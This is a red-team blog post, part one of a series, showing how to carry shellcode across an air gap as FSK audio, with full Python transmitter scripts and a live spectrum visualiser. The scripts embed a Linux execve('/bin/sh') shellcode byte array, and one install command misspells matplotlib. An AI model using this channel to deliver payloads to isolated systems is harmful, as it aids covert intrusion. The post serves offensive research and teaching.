11 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In modern red teaming, the “air-gap” remains one of the most challenging obstacles. When a target machine is physically isolated from the network and USB ports are disabled by GPO, how do you deliver a payload?

Welcome to a new series: Signal Processing and Math for Malware R&D. Over the next few parts, I will try to explore how to treat shellcode not as data, but as a signal. We will bridge the air-gap using sound, hide our code in the frequency domain, and use math and physics for malware development.

This series of posts is based on my research and the results that I first presented at the BSides Prishtina 2026 conference. If I make significant progress in this research, I may also present my findings at other conferences.

malware

The initial thought began with me considering how to deliver a payload via an alternative physical channel. I consulted radio enthusiasts, spent hours on Google, and, of course, debated options with AI. My primary candidates were:

  • acoustic / audio - the simplest method using standard speakers and microphones.
  • ultrasonic - an “invisible” channel using the same FSK approach but at 18-22 kHz, making it inaudible to humans.
  • SDR / RF - transmitting via HackRF or LimeSDR and receiving via an RTL-SDR dongle.
  • IR / Optical - using an LED and a photodiode, encoded as pulse-width modulation (PWM).

After evaluating these vectors, I chose the acoustic / audio path for the zero-hardware dependency reason, another goal wasn’t just to play a sound; it was to build a mathematical pipeline. Starting with an audible acoustic signal allowed me to perfect the Goertzel Algorithm and synchronization logic first. Also I already have using an DFT experience.

In this first part, we will build the simple transmitter: a Python script that converts shellcode into sound using Frequency Shift Keying (FSK).

malware

data to signal and what is FSK?

Frequency Shift Keying (FSK) is a frequency modulation scheme in which digital information is transmitted through discrete frequency changes of a carrier wave.

The simplest form is BFSK (Binary FSK). We choose two distinct frequencies:
\( f_{mark} \) - represents a binary 1.
\( f_{space} \) - represents a binary 0.

For this project, we will use the Bell 202 standard, which was the foundation for early dial-up modems:

Mark frequency (\( f_1 \)) - 2200 Hz - this is the high-frequency tone (2200 oscillations per second). To the human ear, it sounds like a sharp, high-pitched beep.
Space frequency (\( f_0 \)) - 1200 Hz - this is the low-frequency tone. The wave oscillates almost half as fast as the Mark. It sounds like a duller, lower hum.
Baud rate - 300 bits/second - refers to the number of signal changes per second. In our protocol, 1 Baud = 1 Bit.

To generate the signal for a single bit, we use the standard formula for a sine wave:

\[s(t) = A \cdot \sin(2\pi f t)\]

or:

\[s(t) = A \cdot \cos \big( 2\pi f_i t + \phi_n \big)\]

Where:

  • \( A \) is the amplitude (volume)
  • \( f \) is the frequency (\( f_1 \) or \( f_0 \))
  • \( t \) is the time duration of one bit
  • \( \phi _{n} \) - is the phase offset tracking constant for the \( n \)-th bit interval

Since we are working with digital audio, we process this in the discrete time domain. Given a sampling rate \( f_s \) (usually \( 48000 \text{ Hz} \)), the number of samples per bit (\( N \)) is calculated as:

\[N = \frac{f_s}{\text{Baud Rate}} = \frac{48000}{300} = 160 \text{ samples}\]

This means every single bit of our shellcode is physically represented by a tiny buffer of 160 floating-point numbers (this is the standard hardware sampling rate. The computer slices one second of sound into 48,000 tiny pieces (samples)):

malware

practical example

We will use numpy for mathematical operations and sounddevice to interface with the system speakers.

First of all, we need sine wave generation logic:

def generate_tone(bit):
    """generates a sine wave for a single bit."""
    freq = FREQ_MARK if bit else FREQ_SPACE
    t = np.arange(SPB) / SAMPLE_RATE
    return np.sin(2 * np.pi * freq * t).astype(np.float32)

this function takes a 0 or 1 and returns a raw array of 160 float values representing the sine wave of that frequency.

Then, we iterate through each bit of a byte (Least Significant Bit first) and concatenate the tones:

def byte_to_signal(byte):
    """converts a single byte into an audio signal (8 bits, LSB first)."""
    bits = [(byte >> i) & 1 for i in range(8)]
    return np.concatenate([generate_tone(b) for b in bits])

Finally, we convert the entire shellcode array, we add 0.5 seconds of silence (the “Guard Interval”) to give the receiver time to initialize and stabilize:

def transmit(payload):
    """encodes the entire payload and plays it through the speakers."""
    print(f"[=^..^=] encoding shellcode ({len(payload)} bytes)...")
    
    # generate the audio signal
    audio_signal = np.concatenate([byte_to_signal(b) for b in payload])
    
    # add some silence at the beginning and end for stability
    silence = np.zeros(int(SAMPLE_RATE * 0.5), dtype=np.float32)
    final_signal = np.concatenate([silence, audio_signal, silence])
    
    print(f"[=^..^=] total signal duration: {len(final_signal)/SAMPLE_RATE:.2f} seconds")
    print("[=^..^=] transmitting via air...")
    
    sd.play(final_signal, SAMPLE_RATE)
    sd.wait()
    
    print("[=^..^=] transmission complete.")

if __name__ == "__main__":
    transmit(SHELLCODE)

The full source code is looks like the following code transmit.py:

#!/usr/bin/env python3
"""
transmit.py
acoustic shellcode transmitter - part 1: basic FSK
author: @cocomelonc
"""
import numpy as np
import sounddevice as sd
import struct

# protocol constants
SAMPLE_RATE = 48000          # standard hardware rate
BAUD_RATE   = 300            # bits per second
FREQ_MARK   = 2200           # frequency for bit 1 (Hz)
FREQ_SPACE  = 1200           # frequency for bit 0 (Hz)
SPB         = SAMPLE_RATE // BAUD_RATE # samples per bit (160)

# linux x64 execve("/bin/sh") for simplicity
SHELLCODE = bytes([
    0x48, 0x31, 0xc0, 0x50, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
    0x2f, 0x2f, 0x73, 0x68, 0x53, 0x48, 0x89, 0xe7, 0x50, 0x57, 
    0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05
])

def generate_tone(bit):
    """generates a sine wave for a single bit."""
    freq = FREQ_MARK if bit else FREQ_SPACE
    t = np.arange(SPB) / SAMPLE_RATE
    return np.sin(2 * np.pi * freq * t).astype(np.float32)

def byte_to_signal(byte):
    """converts a single byte into an audio signal (8 bits, LSB first)."""
    bits = [(byte >> i) & 1 for i in range(8)]
    return np.concatenate([generate_tone(b) for b in bits])

def transmit(payload):
    """encodes the entire payload and plays it through the speakers."""
    print(f"[=^..^=] encoding shellcode ({len(payload)} bytes)...")
    
    # generate the audio signal
    audio_signal = np.concatenate([byte_to_signal(b) for b in payload])
    
    # add some silence at the beginning and end for stability
    silence = np.zeros(int(SAMPLE_RATE * 0.5), dtype=np.float32)
    final_signal = np.concatenate([silence, audio_signal, silence])
    
    print(f"[=^..^=] total signal duration: {len(final_signal)/SAMPLE_RATE:.2f} seconds")
    print("[=^..^=] transmitting via air...")
    
    sd.play(final_signal, SAMPLE_RATE)
    sd.wait()
    
    print("[=^..^=] transmission complete.")

if __name__ == "__main__":
    transmit(SHELLCODE)

as you can, for simplicity used execve("/bin/sh") shellcode here:

SHELLCODE = bytes([
    0x48, 0x31, 0xc0, 0x50, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
    0x2f, 0x2f, 0x73, 0x68, 0x53, 0x48, 0x89, 0xe7, 0x50, 0x57, 
    0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05
])

demo

At this point, we have successfully converted a binary exploit into an acoustic signal.

for this part, we need to set up the audio backend:

sudo apt install libportaudio2 libportaudio-ocaml-dev

malware

and python dependencies:

python3 -m pip install numpy sounddevice

malware

If you run this script, you will hear a series of high and low “beeps” - that is your shellcode literally flying through the air:

python3 transmit.py

malware

as we can see, everything works perfectly.

practical example 2.

Static code is fine, but as researchers, we need to see our signal to understand its behavior. By using matplotlib in interactive mode, we can create a live Oscilloscope and Spectrum Analyzer inside our terminal.

In this example, we utilize a sliding window technique. As sounddevice plays the FSK tones in the background, our loop calculates the current playback position and updates the plots. This visualizes the transitions between our 1200Hz (Space) and 2200Hz (Mark) frequencies in real-time, helping us verify that our modulation is clean and the timing is accurate before we move to the reception phase.

To move from a static script to a live-visualizing transmitter, we need to implement several architectural changes. These changes allow the software to act as a real-time signal analyzer while the audio is playing.

First, we need a function to construct our visualization window. We create two subplots: one for the time domain (to see the actual sine waves) and one for the frequency domain (to see the 1200Hz/2200Hz peaks using Fast Fourier Transform):

def build_figure():
    """sets up the matplotlib figure for live plotting."""
    plt.style.use('dark_background')
    fig, (ax_wave, ax_spec) = plt.subplots(2, 1, figsize=(12, 6))
    fig.suptitle('[=^..^=] live acoustic transmission', color='#00ff88')
    
    # waveform plot setup
    line_wave, = ax_wave.plot(np.arange(WINDOW_SAMPS), np.zeros(WINDOW_SAMPS), color='#00ffff', lw=1)
    ax_wave.set_ylim(-1.2, 1.2)
    ax_wave.set_axis_off()
    
    # spectrum plot setup (FFT)
    freqs = np.fft.rfftfreq(WINDOW_SAMPS, d=1.0/SAMPLE_RATE)
    line_spec, = ax_spec.plot(freqs, np.zeros(len(freqs)), color='#ffaa00', lw=1.5)
    ax_spec.set_xlim(0, 4000)
    ax_spec.set_ylim(0, 1)
    ax_spec.set_xlabel('frequency (Hz)')
    ax_spec.set_ylabel('magnitude')
    
    plt.tight_layout()
    return fig, line_wave, line_spec

In the basic transmit.py version, the script pauses while the sound plays. For live visuals, we use sd.play() without an immediate .wait(). We also initialize a high-precision timer using time.perf_counter() to synchronize the visual “frame” with the audio “sample” currently being played by the hardware:

# start audio in background
sd.play(signal, SAMPLE_RATE)
t_start = time.perf_counter()
plt.ion() # enable matplotlib interactive mode

Also we need implementing the sliding window. Since we cannot plot the entire shellcode at once without it looking like a solid block, we implement a sliding window. As the timer progresses, we calculate the current_sample and extract a small “slice” of the signal to display, keeping the playback position centered:

while True:
    elapsed = time.perf_counter() - t_start
    current_sample = int(elapsed * SAMPLE_RATE)
    
    if current_sample >= total_samples:
        break
        
    # calculate window bounds
    start = max(0, current_sample - WINDOW_SAMPS // 2)
    end = start + WINDOW_SAMPS
    window = signal[start:end]

Finally, we update the data of our existing plot lines instead of redrawing the whole figure (which is too slow). We perform an FFT on the current window to show the “jumping” frequency peaks and refresh the canvas at a target frame rate:

# update waveform
line_wave.set_ydata(window)

# update spectrum via FFT
magnitude = np.abs(np.fft.rfft(window))
if magnitude.max() > 0: 
    magnitude /= magnitude.max() # normalize for consistent height
line_spec.set_ydata(magnitude)

fig.canvas.draw_idle()
plt.pause(0.01) # small pause to allow GUI update

Full source code transmit_live.py:

#!/usr/bin/env python3
"""
transmit_live.py
acoustic shellcode transmitter - part 1: live visualization
author: @cocomelonc
"""
import time
import struct
import numpy as np
import sounddevice as sd
import matplotlib.pyplot as plt

# protocol constants
SAMPLE_RATE  = 48000
BAUD_RATE    = 300
FREQ_MARK    = 2200          # bit 1 (high)
FREQ_SPACE   = 1200          # bit 0 (low)
SPB          = SAMPLE_RATE // BAUD_RATE # 160 samples per bit

# visualization constants
WINDOW_BITS  = 24            # how many bits to show in the sliding window
WINDOW_SAMPS = SPB * WINDOW_BITS
TARGET_FPS   = 30            # smooth animation

# linux x86_64 execve("/bin/sh")
SHELLCODE = bytes([
    0x48, 0x31, 0xc0, 0x50, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
    0x2f, 0x2f, 0x73, 0x68, 0x53, 0x48, 0x89, 0xe7, 0x50, 0x57, 
    0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05
])

def generate_tone(bit):
    """generates a sine wave for a single bit."""
    freq = FREQ_MARK if bit else FREQ_SPACE
    t = np.arange(SPB) / SAMPLE_RATE
    return np.sin(2 * np.pi * freq * t).astype(np.float32)

def byte_to_signal(byte):
    """converts a single byte into an audio signal."""
    return np.concatenate([generate_tone((byte >> i) & 1) for i in range(8)])

def build_figure():
    """sets up the matplotlib figure for live plotting."""
    plt.style.use('dark_background')
    fig, (ax_wave, ax_spec) = plt.subplots(2, 1, figsize=(12, 6))
    fig.suptitle('[=^..^=] live acoustic transmission', color='#00ff88')
    
    # waveform plot setup
    line_wave, = ax_wave.plot(np.arange(WINDOW_SAMPS), np.zeros(WINDOW_SAMPS), color='#00ffff', lw=1)
    ax_wave.set_ylim(-1.2, 1.2)
    ax_wave.set_axis_off()
    
    # spectrum plot setup (FFT)
    freqs = np.fft.rfftfreq(WINDOW_SAMPS, d=1.0/SAMPLE_RATE)
    line_spec, = ax_spec.plot(freqs, np.zeros(len(freqs)), color='#ffaa00', lw=1.5)
    ax_spec.set_xlim(0, 4000)
    ax_spec.set_ylim(0, 1)
    ax_spec.set_xlabel('frequency (Hz)')
    ax_spec.set_ylabel('magnitude')
    
    plt.tight_layout()
    return fig, line_wave, line_spec

def transmit_live(payload):
    # prepare the signal
    body = np.concatenate([byte_to_signal(b) for b in payload])
    lead = np.zeros(int(SAMPLE_RATE * 0.5), dtype=np.float32)
    signal = np.concatenate([lead, body, lead])
    total_samples = len(signal)
    
    print(f"[=^..^=] shellcode: {len(payload)} bytes")
    print(f"[=^..^=] duration : {total_samples/SAMPLE_RATE:.2f} seconds")

    # setup visualization
    fig, line_wave, line_spec = build_figure()
    plt.ion() # interactive mode ON
    plt.show()

    # start audio in background
    print("[=^..^=] transmitting...")
    sd.play(signal, SAMPLE_RATE)
    start_time = time.perf_counter()

    # live plot loop
    while True:
        elapsed = time.perf_counter() - start_time
        current_sample = int(elapsed * SAMPLE_RATE)
        
        if current_sample >= total_samples:
            break
            
        # sliding window logic
        start = max(0, current_sample - WINDOW_SAMPS // 2)
        end = start + WINDOW_SAMPS
        
        if end > total_samples:
            end = total_samples
            start = end - WINDOW_SAMPS

        window = signal[start:end]
        
        # update waveform
        line_wave.set_ydata(window)
        
        # update spectrum (FFT)
        mag = np.abs(np.fft.rfft(window))
        if mag.max() > 0: mag /= mag.max() # normalize
        line_spec.set_ydata(mag)

        fig.canvas.draw_idle()
        plt.pause(1/TARGET_FPS)

    sd.wait()
    plt.ioff() # interactive mode OFF
    print("[=^..^=] done.")
    plt.show()

if __name__ == "__main__":
    transmit_live(SHELLCODE)

demo 2

Let’s see this update in action. First we need to install matploitlib:

python3 -m pip install matploitlib

malware

Then, just run:

python3 transmit_live.py

malware

malware

malware

conclusion

However, a signal is useless without a “ear” to hear it. In part 2, we will move to the victim’s side and implement the Goertzel Algorithm in pure C to demodulate this sound and recover our bytes in real-time.

FSK
Bell 202 standard
Discrete Fourier Transform (DFT)
Goertzel Algorithm
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine